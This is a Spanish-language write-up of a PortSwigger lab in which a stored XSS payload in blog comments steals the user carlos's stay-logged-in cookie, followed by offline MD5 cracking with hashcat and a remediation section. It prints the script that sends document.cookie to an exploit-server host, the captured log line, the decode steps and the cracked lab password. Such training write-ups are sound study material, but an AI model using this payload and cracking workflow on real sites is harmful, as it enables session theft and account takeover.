Offline Password Cracking — Stay-Logged-In Cookie via Stored XSS — PortSwigger Lab
Robo de la cookie stay-logged-in (base64(user:md5(password))) de carlos mediante XSS almacenado en comentarios y cracking offline del hash MD5.
Offline Password Cracking (Stay-Logged-In Cookie)
1. Target Overview & Vulnerability Summary
| Campo | Valor |
|---|---|
| Severidad | Alta |
| Endpoint vulnerable | Sección de comentarios de un post (XSS almacenado) |
| Root cause | Cookie stay-logged-in con formato predecible base64(user:md5(password)) + falta de sanitización del input en comentarios |
La cookie de sesión persistente codifica el usuario y el hash MD5 de la contraseña sin ningún secreto: base64(usuario:md5(password)). Un XSS almacenado en la sección de comentarios permite exfiltrar la cookie de la víctima carlos; al estar el hash sin salt, el material robado se puede romper offline.
2. Technical Breakdown & Exploitation Flow
2.1 Payload de XSS almacenado
El campo de comentario permite cerrar el <textarea> e inyectar JavaScript que exfiltra las cookies hacia el exploit server:
</textarea><script>document.location="https://exploit-0a5a00bf04bcabbec18d021e016f00be.exploit-server.net/exploit?" + document.cookie</script>
2.2 Captura de la cookie en el exploit server
El log del servidor de explotación registra la cookie stay-logged-in en la querystring:
10.0.4.117 2026-02-15 00:10:29 +0000 "GET /exploit?secret=lhoqWftb49sk3Fk06x6l2KYAZBnysPWb;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
Decodificando el valor en base64 se obtiene el par usuario:hash:
$ echo -n 'Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz' | base64 -d
carlos:26323c16d5f4dabff3bb136f2460a943
2.3 Cracking offline del hash MD5
El hash 26323c16d5f4dabff3bb136f2460a943 es MD5 sin salt; se rompe con hashcat, john o servicios como CrackStation:
hashcat -m 0 -a 0 carlos.hash rockyou.txt
La contraseña recuperada es onceuponatime, con la que se inicia sesión como carlos.
3. Root Cause Analysis
Dos defectos encadenados explican el compromiso:
- Predictability of the persistente session token: el backend construye la cookie como
base64(username + ":" + md5(password)). No hay HMAC ni secret; cualquiera que conozca el formato puede forjar la cookie de cualquier usuario (ver Brute-forcing a stay-logged-in cookie). - Stored XSS en comentarios: el contenido del comentario se renderiza sin sanitizar, permitiendo
</textarea><script>..., lo que convierte el robo de cookie en una operación trivial contra el navegador de la víctima.
# Implementación vulnerable
stay_logged_in = base64(username + ":" + md5(password)) # ❌ Sin secreto ni HMAC
# ...y el comentario se renderiza como HTML sin sanitización
4. Secure Remediation
Sustituir el token por un valor impredecible y verificable, y sanitizar el input:
# Token de sesión persistente seguro
session_token = base64(username) + "." + hmac_sha256(secret, username + session_id)
# Sanitización del comentario (especificación OWASP XSS Prevention)
escaped = html_encode(comment.text) # escapa < > & " ' antes de renderizar
El hash MD5 sin salt nunca debe emplearse para almacenar contraseñas: usar argon2id/bcrypt/scrypt con salt aleatorio por usuario.